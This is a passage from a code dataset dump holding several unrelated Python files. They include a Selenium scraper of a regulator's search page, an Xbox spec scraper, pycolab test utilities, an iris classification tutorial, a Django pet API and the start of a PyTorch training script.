125\nREAD_STRUCTURED_FIELDS = 126\nWRITE_STRUCTURED_FIELDS = 127","repo_name":"sapiensmagno/PyEHLLAPI","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"29039970967","text":"import time\n\nfrom antirobot.daemon.arcadia_test.util.AntirobotTestSuite import AntirobotTestSuite\nfrom antirobot.daemon.arcadia_test.util import (\n GenRandomIP,\n Fullreq,\n TRUSTED_I_COOKIE,\n ICOOKIE_HEADER,\n IP_HEADER,\n)\n\nREGULAR_SEARCH = \"http://yandex.ru/search/?text=cats\"\n\n\nclass TestDegradationHeader(AntirobotTestSuite):\n options = {\n \"DisableBansByFactors\": 1,\n }\n\n @classmethod\n def setup_class(cls):\n super().setup_class()\n\n def get_metric(self):\n return self.antirobot.query_metric(\n \"requests_trusted_users_deee\",\n )\n\n def test_trusted_user(self):\n ip = GenRandomIP()\n\n request = Fullreq(\n REGULAR_SEARCH,\n headers={\n IP_HEADER: ip,\n ICOOKIE_HEADER: TRUSTED_I_COOKIE,\n 'Cookie': f'yandexuid={TRUSTED_I_COOKIE};'\n }\n )\n\n metric_cnt = self.get_metric()\n\n self.send_request(request)\n time.sleep(1)\n\n assert self.get_metric() == metric_cnt + 1\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"antirobot/TestTrustedUsers.py","file_name":"TestTrustedUsers.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74740967762","text":"from django.conf import settings\nfrom django.http import JsonResponse\n\nfrom petgallery.models import Animal, AnimalType, AnimalTypes\n\n\ndef petapi(request):\n if settings.FAKE_API:\n types = generate_fake_animal_types()\n else:\n types = AnimalTypes()\n return JsonResponse(types, safe=False, headers={'Access-Control-Allow-Origin': '*'})\n\n\ndef grid_api(request):\n page = 1\n animal_type = request.GET.get('animal')\n if settings.FAKE_API:\n animals = generate_fake_grid()\n else:\n animals = Animal.populate(animal_type=animal_type, page=page)\n return JsonResponse(animals, safe=False, headers={'Access-Control-Allow-Origin': '*'})\n\n\ndef generate_fake_animal_types():\n data = [AnimalType(name='lion'),\n AnimalType(name='jackal'),\n AnimalType(name='bobcat')]\n types = [d.to_dict() for d in data]\n return types\n\n\ndef generate_fake_grid():\n data = [Animal(name='dog A'),\n Animal(name='dog B'),\n Animal(name='dog C')]\n return [d.to_dict() for d in data]\n","repo_name":"julzhk/petfinder","sub_path":"backend/petAPI/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29170446812","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n##链接地址##http://www.cbrc.gov.cn/search/index.jsp##\n##银监会查询文件##\n# from gevent import monkey\n# monkey.patch_all()\n# import gevent,requests,bs4,csv\n# from gevent.queue import Queue\n#\n# work = Queue()\n#\n# url_1 = 'http://www.cbrc.gov.cn/search/index.jsp'\n# work.put_nowait(url_1)\n#\n# url_2 = 'http://www.mtime.com/top/tv/top100/index-{page}.html'\n# for x in range(1,11):\n# real_url = url_2.format(page=x)\n# work.put_nowait(real_url)\n#\n# def crawler():\n# headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'}\n# while not work.empty():\n# url = work.get_nowait()\n# res = requests.get(url,headers=headers)\n# bs_res = bs4.BeautifulSoup(res.text,'html.parser')\n# datas = bs_res.find_all('div',class_=\"mov_con\")\n# for data in datas:\n# TV_title = data.find('a').text\n# data = data.find_all('p')\n# TV_data =''\n# for i in data:\n# TV_data =TV_data + ''+ i.text\n# writer.writerow([TV_title,TV_data])\n# print([TV_title,TV_data])\n#\n# csv_file = open('timetop.csv','w',newline='',encoding='utf-8')\n# writer = csv.writer(csv_file)\n#\n# task_list = []\n# for x in range(3):\n# task = gevent.spawn(crawler)\n# task_list.append(task)\n# gevent.joinall(task_list)\n#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.expected_conditions import visibility_of_element_located\nfrom selenium.webdriver.support.ui import WebDriverWait\nimport pyautogui\n\n\n#URL = 'https://y.qq.com/n/yqq/song/000xdZuV2LcQ19.html'\nSEQUENCE = 'CCTAAACTATAGAAGGACAGCTCAAACACAAAGTTACCTAAACTATAGAAGGACAGCTCAAACACAAAGTTACCTAAACTATAGAAGGACAGCTCAAACACAAAGTTACCTAAACTATAGAAGGACAGCTCAAACACAAAGTTACCTAAACTATAGAAGGACA' #'GAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGAGAAGA'\n# 用selenium打开网页\n# (首先要下载 Chrome webdriver, 或 firefox webdriver)\ndriver = webdriver.Chrome()\nURL=\"http://www.cbrc.gov.cn/search/index.jsp\"\ndriver.get(URL)\ntime.sleep(2)\ntitle=driver.find_element_by_name(\"Title\")\ntitle.send_keys(\"金融租赁\")\n# assistant=driver.find_element_by_id(\"assistant\")\n# assistant.send_keys(\"宋失\")\n# time.sleep(2)\nbutton=driver.find_element_by_name(\"sub1\")\nbutton.click()\n#\ntime.sleep(2)\n#\n\nhrefs=driver.find_elements_by_partial_link_text(\"股权\")\nprint(hrefs)\nfor href in hrefs:\n href_add = href.get_attribute('href')\n print(href_add+href.text)\n# for link in driver.find_elements_by_xpath(\"//*[@href]\"):#获取当前页面的href\n# print link.get_attribute('href')\nhref_nextpage=driver.find_element_by_link_text(\"下一页\")\nnextpage=href_nextpage.get_attribute(\"href\")\nprint(nextpage)\nhref_endpage=driver.find_element_by_link_text(\"尾页\")\nendpage=href_endpage.get_attribute(\"href\")[46:48]\nprint(endpage)\ntime.sleep(2)\ndriver.close()\n\n\n","repo_name":"songwupei/cbrc","sub_path":"crbccase1.py","file_name":"crbccase1.py","file_ext":"py","file_size_in_byte":3148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8487259996","text":"from gpl.psplot import plot\n\nvel=\"marm16km.drt\"\nopt=\"n1=188 d1=0.016 d2=0.016 d1num=1 d2num=2\"\n\nplot.velocity(\"vel.png\",vel,opt+\"lbeg=1.5 lend=5.5 lfnum=1.5\")\nplot.velocity_color(\"vel_color.png\",vel,opt)\nplot.velocity_color(\"density_color.png\",vel,opt,unit=\"g/cc\")\nplot.gradient(\"grad.png\",vel,opt)\nplot.gradient_color(\"grad_color.png\",vel,opt)\nplot.migration(\"mig.png\",vel,opt)\nplot.contour(\"contour.png\",vel,opt)\n\nseismo=\"marm3000.su\"\nopt2=\"f2=0 d2=0.025 d1s=0.5 d2s=0.5\"\nplot.seismogram(\"seismo.png\",seismo,opt2)\n\nspec=\"marm3000fx.su\"\nplot.spectrum(\"spec.png\",spec,opt2)\n","repo_name":"pkgpl/pkgpl.github.io","sub_path":"_notebook/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4831684583","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport unittest\n\nimport numpy as np\n\nfrom pycolab import ascii_art\nfrom pycolab import cropping\nfrom pycolab import things as plab_things\nfrom pycolab.prefab_parts import drapes\nfrom pycolab.prefab_parts import sprites\n\nimport six\n\n\ndef pre_update(engine, character, thing_to_do):\n \"\"\"Make the test entity for `character` do something before updating itself.\n\n Assuming the pycolab game `engine` has the character `character` handled by\n one of the `Sprite`s or `Drape`s handled in this module, then on the next game\n iteration, that entity will execute `thing_to_do` before performing any of its\n own update tasks.\n\n This code injection works only for the next game iteration, after which it\n is cleared.\n\n Args:\n engine: a pycolab game.\n character: a character handled in the game by an instance of one of the\n `Sprite`s or `Drape`s defined in this module.\n thing_to_do: a callable that takes all of the arguments to the `Sprite`\n or `Drape` `update` method.\n \"\"\"\n engine.the_plot.setdefault('test_pre_update', {})[character] = thing_to_do\n\n\ndef post_update(engine, character, thing_to_do):\n \"\"\"Make the test entity for `character` do something after updating itself.\n\n Assuming the pycolab game `engine` has the character `character` handled by\n one of the `Sprite`s or `Drape`s handled in this module, then on the next game\n iteration, that entity will execute `thing_to_do` after performing all of its\n own update tasks.\n\n This code injection works only for the next game iteration, after which it\n is cleared.\n\n Args:\n engine: a pycolab game.\n character: a character handled in the game by an instance of one of the\n `Sprite`s or `Drape`s defined in this module.\n thing_to_do: a callable that takes all of the arguments to the `Sprite`\n or `Drape` `update` method.\n \"\"\"\n engine.the_plot.setdefault('test_post_update', {})[character] = thing_to_do\n\n\ndef get_pre_update(entity, the_plot):\n \"\"\"Retrieve pre-update callable for `entity` for the next game iteration.\n\n Once retrieved, the pre-update callable is cleared, so the callable will only\n be called for the current game iteration.\n\n This function is intended mainly as a helper for the `Sprite`s and `Drape`s\n defined in this module. Most user code will not need to use it.\n\n Args:\n entity: the pycolab game entity for which we wish to retrieve any pre-update\n callable.\n the_plot: the `Plot` object for the pycolab game passed to `pre_update` when\n registering a callable for `entity`.\n\n Returns:\n the callable registered for this entity via `pre_update`, or a null\n callable if none was registered.\n \"\"\"\n return the_plot.setdefault('test_pre_update', {}).pop(\n entity.character, lambda *args, **kwargs: None)\n\n\ndef get_post_update(entity, the_plot):\n \"\"\"Retrieve post-update callable for `entity` for the next game iteration.\n\n Once retrieved, the post-update callable is cleared, so the callable will only\n be called for the current game iteration.\n\n This function is intended mainly as a helper for the `Sprite`s and `Drape`s\n defined in this module. Most user code will not need to use it.\n\n Args:\n entity: the pycolab game entity for which we wish to retrieve any\n post-update callable.\n the_plot: the `Plot` object for the pycolab game passed to `post_update`\n when registering a callable for `entity`.\n\n Returns:\n the callable registered for this entity via `post_update`, or a null\n callable if none was registered.\n \"\"\"\n return the_plot.setdefault('test_post_update', {}).pop(\n entity.character, lambda *args, **kwargs: None)\n\n\nclass TestSprite(plab_things.Sprite):\n \"\"\"A `Sprite` subclass that executes injected pre- and post-update callables.\n\n This `Sprite` does nothing by default except execute the pre- and post-update\n callables registered by `pre_update` and `post_update`. You may subclass this\n `Sprite` and add your own behaviours by overriding the `real_update` method,\n which this `Sprite`'s `update` method calls in between the two injected\n callables.\n \"\"\"\n\n def update(self, actions, board, layers, backdrop, things, the_plot):\n \"\"\"This `update` implementation is \"final\". Do not override.\"\"\"\n pre_update_callable = get_pre_update(self, the_plot)\n pre_update_callable(actions, board, layers, backdrop, things, the_plot)\n\n self.real_update(actions, board, layers, backdrop, things, the_plot)\n\n post_update_callable = get_post_update(self, the_plot)\n post_update_callable(actions, board, layers, backdrop, things, the_plot)\n\n def real_update(self, actions, board, layers, backdrop, things, the_plot):\n \"\"\"Override this method to add `update` code to `TestSprite` subclasses.\"\"\"\n pass\n\n\nclass TestDrape(plab_things.Drape):\n \"\"\"A `Drape` subclass that executes injected pre- and post-update callables.\n\n This `Drape` does nothing by default except execute the pre- and post-update\n callables registered by `pre_update` and `post_update`. You may subclass this\n `Drape` and add your own behaviours by overriding the `real_update` method,\n which this `Drape`'s `update` method calls in between the two injected\n callables.\n \"\"\"\n\n def update(self, actions, board, layers, backdrop, things, the_plot):\n \"\"\"This `update` implementation is \"final\". Do not override.\"\"\"\n pre_update_callable = get_pre_update(self, the_plot)\n pre_update_callable(actions, board, layers, backdrop, things, the_plot)\n\n self.real_update(actions, board, layers, backdrop, things, the_plot)\n\n post_update_callable = get_post_update(self, the_plot)\n post_update_callable(actions, board, layers, backdrop, things, the_plot)\n\n def real_update(self, actions, board, layers, backdrop, things, the_plot):\n \"\"\"Override this method to add `update` code to `TestDrape` subclasses.\"\"\"\n pass\n\n\nclass TestMazeWalker(sprites.MazeWalker, TestSprite):\n \"\"\"A `MazeWalker` that supports the injected callables of `TestSprite`.\n\n Overrides `TestSprite`s `real_update` method to implement basic maze-walking\n behaviour; you may override `real_update` if you'd prefer your own mapping\n from actions to invocations of `MazeWalker` motion action helper methods.\n By default, actions may either be strings denoting compass-directions of\n single-cell motion ('n', 'ne', 'e', 'se', 's', 'sw', 'w', and 'nw') or\n dicts mapping characters to such strings, in which case this `Sprite` will\n obey the string stored under `self.character`.\n\n If no valid action can be identified for this `Sprite` by either means, the\n `Sprite` will invoke the `_stay` motion action helper method.\n\n The result of any motion action helper method invoked by a `TestMazeWalker`\n is stored in the `Plot` object under the key 'walk_result_X', where X is the\n sprite character controlled by this `TestMazeWalker`.\n \"\"\"\n\n def real_update(self, actions, board, layers, backdrop, things, the_plot):\n\n if isinstance(actions, str):\n direction = actions\n elif isinstance(actions, dict):\n direction = actions.get(self.character, None)\n else:\n direction = None\n\n if direction == 'nw':\n result = self._northwest(board, the_plot)\n elif direction == 'n':\n result = self._north(board, the_plot)\n elif direction == 'ne':\n result = self._northeast(board, the_plot)\n elif direction == 'e':\n result = self._east(board, the_plot)\n elif direction == 'se':\n result = self._southeast(board, the_plot)\n elif direction == 's':\n result = self._south(board, the_plot)\n elif direction == 'sw':\n result = self._southwest(board, the_plot)\n elif direction == 'w':\n result = self._west(board, the_plot)\n else:\n result = self._stay(board, the_plot)\n\n the_plot['walk_result_{}'.format(self.character)] = result\n\n\nclass TestScrolly(drapes.Scrolly, TestDrape):\n \"\"\"A `Scrolly` that supports the injected callables of `TestSprite`.\n\n Overrides `TestDrape`s `real_update` method to implement basic maze-walking\n behaviour; you may override `real_update` if you'd prefer your own mapping\n from actions to invocations of `Scrolly` motion action helper methods.\n By default, actions may either be strings denoting compass-directions of\n single-cell motion ('n', 'ne', 'e', 'se', 's', 'sw', 'w', and 'nw') or\n dicts mapping characters to such strings, in which case this `Sprite` will\n obey the string stored under `self.character` (or do nothing if there is no\n such entry).\n\n If no valid action can be identified for this `Drape` by either means, the\n `Drape` will invoke the `_stay` motion action helper method.\n \"\"\"\n\n def real_update(self, actions, board, layers, backdrop, things, the_plot):\n\n if isinstance(actions, str):\n direction = actions\n elif isinstance(actions, dict):\n direction = actions.get(self.character, None)\n else:\n direction = None\n\n if direction == 'nw':\n self._northwest(the_plot)\n elif direction == 'n':\n self._north(the_plot)\n elif direction == 'ne':\n self._northeast(the_plot)\n elif direction == 'e':\n self._east(the_plot)\n elif direction == 'se':\n self._southeast(the_plot)\n elif direction == 's':\n self._south(the_plot)\n elif direction == 'sw':\n self._southwest(the_plot)\n elif direction == 'w':\n self._west(the_plot)\n else:\n self._stay(the_plot)\n\n\nclass PycolabTestCase(unittest.TestCase):\n \"\"\"`TestCase` subclass with convenience methods for pycolab testing.\"\"\"\n\n def assertBoard(self, actual_board, art, err_msg=''):\n \"\"\"Assert that a pycolab game board matches expected ASCII art.\n\n Args:\n actual_board: a pycolab game board, in its 2-D `uint8` nparray\n manifestation. This is the `board` member of a `rendering.Observation`\n namedtuple.\n art: an ASCII-art diagram, as a list of same-length ASCII strings,\n portraying the expected game board.\n err_msg: optional error message to include in `AssertionError`s raised\n by this method.\n\n Raises:\n AssertionError: `art` does not match `actual_board`.\n \"\"\"\n np.testing.assert_array_equal(actual_board,\n ascii_art.ascii_art_to_uint8_nparray(art),\n err_msg)\n\n def expectBoard(self, art, err_msg=''): # pylint: disable=invalid-name\n \"\"\"Produce a callable that invokes `assertBoard`.\n\n This method is a convenient means of injecting a call to `assertBoard`\n via the `pre_update` and `post_update` methods defined above. The second\n argument to the callable returned by this method will be used as the\n `actual_board` argument to `assertBoard`, with the remaining arguments\n supplied by this function's parameters.\n\n Args:\n art: see `assertBoard`.\n err_msg: see `assertBoard`.\n\n Returns:\n a callable suitable for use as the `thing_to_do` argument to `pre_update`\n and `post_update`.\n \"\"\"\n def expecter(actions, board, layers, backdrop, things, the_plot):\n del actions, layers, backdrop, things, the_plot # Unused.\n self.assertBoard(board, art, err_msg)\n return expecter\n\n def assertMachinima(self, engine, frames,\n pre_updates=None, post_updates=None, result_checker=None,\n croppers=None):\n \"\"\"Assert that gameplay produces a \"movie\" of expected observations.\n\n [Machinima](https://en.wikipedia.org/wiki/Machinima) is the creation of\n movies with game engines. This test method allows you to demonstrate that\n a sequence of canned actions would produce a sequence of observations. Other\n tests and behaviours may be imposed on the `Sprite`s and `Drape`s in the\n sequence as well.\n\n Args:\n engine: a pycolab game engine whose `its_showtime` method has already been\n called. Note: if you are using croppers, you may want to supply the\n observation result from `its_showtime` to the croppers so that they\n will have a chance to see the first observation in the same way they\n do in the `CursesUi`.\n frames: a sequence of n-tuples, where `n >= 2`. The first element in each\n tuple is the action that should be submitted to `engine` via the\n `play` method; the second is an ASCII-art diagram (see `assertBoard`)\n portraying the observation we expect the `play` method to return, or a\n list of such diagrams if the `croppers` argument is not None (see\n below). Any further elements of the tuple are stored in the engine's\n `Plot` object under the key `'machinima_args'`. These are commonly\n used to pass expected values to `assertEqual` tests to callables\n provided via `pre_updates` and `post_updates`.\n pre_updates: optional dict mapping single-character strings (which should\n correspond to `Sprite`s and `Drape`s that inherit from test classes in\n this module) to a callable that is injected into the entity via\n `pre_update` at each game iteration. These callables are usually used\n to specify additional testing asserts.\n post_updates: optional dict mapping single-character strings (which should\n correspond to `Sprite`s and `Drape`s that inherit from test classes in\n this module) to a callable that is injected into the entity via\n `post_update` at each game iteration. These callables are usually used\n to specify additional testing asserts.\n result_checker: optional callable that, at every game iteration, receives\n arguments `observation`, `reward`, `discount`, and `args`. The first\n three are the return values of the engine's `play` method; `args` is\n the `machinima_args` elements for that game iteration (see `frames`).\n The `observation` is the original game engine observation;\n `result_checker` does not receive the output of any of the `croppers`.\n (If you need to check cropped observations, consider passing your\n croppers to `result_checker` via `machinima_args` and cropping the\n observation yourself.)\n croppers: None, or a list of `cropping.ObservationCropper` instances\n and/or None values. If None, then `frames[i][1]` should be an\n ASCII-art diagram to compare against frames as emitted by the engine;\n if a list, then `frames[i][1]` should be a list of diagrams to compare\n against the outputs of each of the croppers. A None value in\n `croppers` is a \"null\" or \"pass-through\" cropper: the corresponding\n entry in `frames[i][1]` should expect the original game engine\n observation. NB: See important usage note in the documentation for\n the `engine` arg.\n\n Raises:\n AssertionError: an observation produced by the game engine does not match\n one of the observation art diagrams in `frames`.\n ValueError: if croppers is non-None and the number of\n `ObservationCropper`s it contains differs from the number of ASCII-art\n diagrams in one of the elements of `frames`.\n \"\"\"\n if pre_updates is None: pre_updates = {}\n if post_updates is None: post_updates = {}\n\n # If we have croppers, replace None values with pass-through croppers, then\n # tell all croppers which game we're playing.\n if croppers is not None:\n try:\n croppers = tuple(\n cropping.ObservationCropper() if c is None else c for c in croppers)\n except TypeError:\n raise TypeError('The croppers argument to assertMachinima must be a '\n 'sequence or None, not a \"bare\" object.')\n for cropper in croppers:\n cropper.set_engine(engine)\n\n # Step through the game and verify expected results at each frame.\n for i, frame in enumerate(frames):\n action = frame[0]\n art = frame[1]\n args = frame[2:]\n\n engine.the_plot['machinima_args'] = args\n\n for character, thing_to_do in six.iteritems(pre_updates):\n pre_update(engine, character, thing_to_do)\n for character, thing_to_do in six.iteritems(post_updates):\n post_update(engine, character, thing_to_do)\n\n observation, reward, discount = engine.play(action)\n\n if croppers is None:\n self.assertBoard(observation.board, art,\n err_msg='Frame {} observation mismatch'.format(i))\n else:\n # It will be popular to construct iterables of ASCII art using zip (as\n # shown in cropping_test.py); we graciously convert art to a tuple,\n # since the result of Python 3's zip does not support len().\n art = tuple(art)\n if len(art) != len(croppers): raise ValueError(\n 'Frame {} in the call to assertMachinima has {} ASCII-art diagrams '\n 'for {} croppers. These counts should be the same.'.format(\n i, len(art), len(croppers)))\n for j, (cropped_art, cropper) in enumerate(zip(art, croppers)):\n self.assertBoard(\n cropper.crop(observation).board, cropped_art,\n err_msg='Frame {}, crop {} observation mismatch'.format(i, j))\n\n if result_checker is not None:\n result_checker(observation, reward, discount, args)\n","repo_name":"deepmind/pycolab","sub_path":"pycolab/tests/test_things.py","file_name":"test_things.py","file_ext":"py","file_size_in_byte":17364,"program_lang":"python","lang":"en","doc_type":"code","stars":654,"dataset":"github-code","pt":"3"} +{"seq_id":"30117555377","text":"from __future__ import annotations\n\nfrom pygame import Vector2\nfrom typing import TYPE_CHECKING, Optional\n\nfrom ..traproom import DMTrapRoom\nfrom utilities import Effect\n\nif TYPE_CHECKING:\n from dm.core.game.game import DMGame\n from dm.core.objects.unit import DMUnit\n################################################################################\n\n__all__ = (\"Icebolt\",)\n\n################################################################################\nclass Icebolt(DMTrapRoom):\n\n def __init__(self, game: DMGame, position: Optional[Vector2] = None, level: int = 1):\n\n super().__init__(\n game, position,\n _id=\"ROOM-158\",\n name=\"Icebolt\",\n description=(\n \"Inflict {damage} damage and give {status} Slow to hero \"\n \"that entered the room.\"\n ),\n level=level,\n rank=4,\n base_dmg=34,\n effects=[\n Effect(name=\"Slow\", base=2, per_lv=1),\n ]\n )\n\n################################################################################\n def on_enter(self, unit: DMUnit) -> None:\n\n unit.damage(self.dmg)\n unit.add_status(\"Slow\", self.effects[\"Slow\"], self)\n\n################################################################################\n","repo_name":"AllegroVivo/DungeonDefense","sub_path":"dm/rooms/FourStar/Icebolt.py","file_name":"Icebolt.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24061943044","text":"# %%\n# https://dschloe.github.io/python/python_edu/04_machinelearning/chapter_4_4_classification_iris_example/\n# 분석 후, linear model적용하는 것까지 설명\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn.datasets import load_iris\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split, cross_validate\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.preprocessing import StandardScaler\n\n\n# %% 분석\ndef get_pandas_df():\n iris = load_iris()\n iris_data = iris.data\n iris_label = iris.target\n iris_target_names = iris.target_names\n iris_df = pd.DataFrame(data=iris_data, columns=iris.feature_names)\n iris_df['label'] = iris.target\n replace_fct = {0: 'setosa', 1: 'versicolor', 2: \"virginica\"}\n iris_df.columns = [\"sepal_length\", \"sepal_width\", \"petal_length\", \"petal_width\", \"species\"]\n iris_df['species'] = iris_df['species'].map(replace_fct)\n\n return iris_df\n\n\niris_df = get_pandas_df()\n\nn_bins = 10\nfig, axs = plt.subplots(2, 2) # 그래프를 그리기 위해 일종의 레이아웃을 작성한다.\naxs[0, 0].hist(iris_df['sepal_length'], bins=n_bins)\naxs[0, 0].set_title('Sepal Length')\naxs[0, 1].hist(iris_df['sepal_width'], bins=n_bins)\naxs[0, 1].set_title('Sepal Width')\naxs[1, 0].hist(iris_df['petal_width'], bins=n_bins)\naxs[1, 0].set_title('Pepal Width')\naxs[1, 1].hist(iris_df['petal_length'], bins=n_bins)\naxs[1, 1].set_title('Pepal Length')\n\nfig.tight_layout(pad=1.0)\nplt.show()\n\n# %% 도수분포도 및 산점도 확인\nimport seaborn as sns\n\n# hue로 그룹을 만들어서,\n# 각 column들의 그룹별 도수 분포도(histogram).(그룹 별, 각 column이 일정한 범이안에 위치하는지 확인(\n# 두 column을 결합해서, 산점도(scatter)를 보여준다.(classifier가 분류를 할 수 있을지, 각 두 컬럼을 비교하기)\nsns.pairplot(iris_df, hue=\"species\", height=2, palette='colorblind')\nplt.show()\n\n# %% Linear model 적용\n\n# load the iris dataset and split it into train and test sets\nX, y = load_iris(return_X_y=True)\n\n# train 데이터와 test데이터를 임의로 분리한다.\n# 학습시킨 모델의 성능 평가를 위해서, test데이터를 별도로 빼서, 테스트를 돌려본다.\n# random_state : 변하지 않는 랜덤 값을 사용하고 싶을 때 입력.\n# test_size : train할 데이터와 test할 데이터 비율을 나눌 때 사용.\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=10)\n\n# create a pipeline object\npipe = make_pipeline(\n StandardScaler(),\n LogisticRegression()\n)\n\n\n# fit the whole pipeline\npipe.fit(X_train, y_train)\n\n# we can now use it like any other estimator\nscore = accuracy_score(pipe.predict(X_test), y_test)\n\n#%% cross validation\n# 한번만 validation 할 경우, train과 test가 우연히 잘 맞아 떨어져서 좋은 점수가 나올 수도 있다.\n# 여러번 검증하기\nvalidation_result = cross_validate(pipe, X,y)\n\n\n#%%\nfrom sklearn.metrics import plot_confusion_matrix\n\n# 정답과, 예측의 차이를 보여준다.\n# 어떤 부분에서 오차가 심한지 확인하여, 튜닝할 위치를 보여준다.\n\ndisp = plot_confusion_matrix(pipe,\n X_test, y_test,\n display_labels=['setosa', 'versicolor', 'virginica'],#정답셋 레이블 명, label 0,1,2에 대한,이름\n cmap=plt.cm.Reds,\n normalize=None)\ndisp.ax_.set_title('Confusion Matrix')\nplt.show()","repo_name":"dss99911/ds-study","sub_path":"python/scikitlearn/classification_sample_iris.py","file_name":"classification_sample_iris.py","file_ext":"py","file_size_in_byte":3580,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38553454553","text":"from bs4 import BeautifulSoup\nimport requests\nimport csv\nxboxx_link = 'https://www.xbox.com/en-US/xbox-one-x#techSpecs'\n\nxboxx_response = requests.get(xboxx_link, timeout=10)\n\npage_content = BeautifulSoup(xboxx_response.content, \"html.parser\")\n\n\ncontent1 = page_content.findAll(class_=\"x-type-center h-divider oneFiftyCol\")\nmemorydata = content1[0].findAll(\"h4\")\nmemorytitle = content1[0].findAll(\"p\")\n\ncontent2 = page_content.findAll(class_=\"x-type-center v-hidden h-divider oneFiftyCol\")\nstoragedata = content2[0].findAll(\"h4\")\nstoragetitle = content2[0].findAll(\"p\")\n\ncontent3 = page_content.findAll(class_=\"x-type-center oneFiftyCol\")\nGDDdata = content3[0].findAll(\"h4\")\nGDDtitle = content3[0].findAll(\"p\")\n\ncapabilities = content1[1].findAll(\"h4\")\ncaptitle = content1[1].findAll(\"p\")\n\nhdmidata = content2[1].findAll(\"p\")\nhdmititle = content2[1].findAll(\"h4\")\n\nhdrdata = content3[1].findAll(\"p\")\nhdrtitle = content3[1].findAll(\"h4\")\n\ndtsdata = content1[2].findAll(\"p\")\ndtstitle = content1[2].findAll(\"h2\")\n\ndolbydata = content2[2].findAll(\"p\")\ndolbytitle = content2[2].findAll(\"h4\")\n\nPCMdata = content3[2].findAll(\"p\")\nPCMtitle = content3[2].findAll(\"h4\")\n\nwifidata = content2[3].findAll(\"p\")\nwifititle = content2[3].findAll(\"h4\")\n\nirdata = content3[3].findAll(\"p\")\nirtitle = content3[3].findAll(\"h4\")\n\ncontent4 = page_content.findAll(class_=\"specsRight connectivity\")\ncondata = content4[0].findAll(\"p\")\n\n#Memory & Storage\nmemory = memorytitle[0].get_text() + \": \" + memorydata[0].get_text()\n\nstorage = storagetitle[0].get_text() + \": \" + storagedata[0].get_text()\n\nGDD = GDDtitle[0].get_text() + \": \" + GDDdata[0].get_text()\n\n#Video Capabilities\ncap = captitle[0].get_text() + \": \" + capabilities[0].get_text()\n\nHDMI = hdmititle[0].get_text() + \": \" + hdmidata[0].get_text()\n\nHDR = hdrtitle[0].get_text() + \": \" + hdrdata[0].get_text()\n\n#Audio Components\nDTS = dtstitle[0].get_text() + \": \" + dtsdata[0].get_text()\n\nDOLBY = dolbytitle[0].get_text() + \": \" + dolbydata[0].get_text()\n\nPCM = PCMtitle[0].get_text() + \": \" + PCMdata[0].get_text()\n\n#Wireless Capability\nWIFI = wifititle[0].get_text() + \": \" + wifidata[0].get_text()\n\nIR = irtitle[0].get_text() + \": \" + irdata[0].get_text()\n\n#Connectivity\nConn = \"Connectivity: \" + condata[0].get_text() + \", \" + condata[1].get_text() + \", \" \\\n + condata[2].get_text() + \", \" + condata[3].get_text() + \", \" + condata[4].get_text() + \", \" \\\n + condata[5].get_text()\n\n\n\ndatalist = []\ndatalist.append(memory)\ndatalist.append(storage)\ndatalist.append(GDD)\ndatalist.append(cap)\ndatalist.append(HDMI)\ndatalist.append(HDR)\ndatalist.append(DTS)\ndatalist.append(DOLBY)\ndatalist.append(PCM)\ndatalist.append(WIFI)\ndatalist.append(IR)\ndatalist.append(Conn)\n\n#print datalist\n\nwith open ('consoles.csv','wb') as csvfile:\n writer = csv.writer(csvfile, delimiter =',', quoting =csv.QUOTE_MINIMAL)\n for row in datalist:\n writer.writerow([row])\n","repo_name":"ArjunSingh1/SoftwareLab","sub_path":"data/scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14730811951","text":"import argparse\n\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom model import Model\nfrom data_loader import preprocess\n\n\ndef train(model, train_loader, verification_loader, epochs, \n train_batch_sz, verification_batch_sz, save_path):\n optimizer = optim.SGD(model.parameters(), lr=0.1, momentum=0.7, weight_decay=0.0005)\n scheduler = optim.lr_scheduler.ExponentialLR(optimizer, gamma=0.9)\n loss_func = nn.BCELoss()\n train_losses = []\n verification_losses = []\n verification_acc = []\n\n for epoch in range(epochs):\n print(\"Epoch {}\".format(epoch+1))\n\n losses = []\n model.train()\n for i, (images, labels) in enumerate(train_loader):\n images1 = images[:, 0].cuda()\n images2 = images[:, 1].cuda()\n labels = labels.cuda()\n\n preds = model(images1, images2)\n loss = loss_func(preds, labels)\n losses.append(loss.cpu().item())\n\n 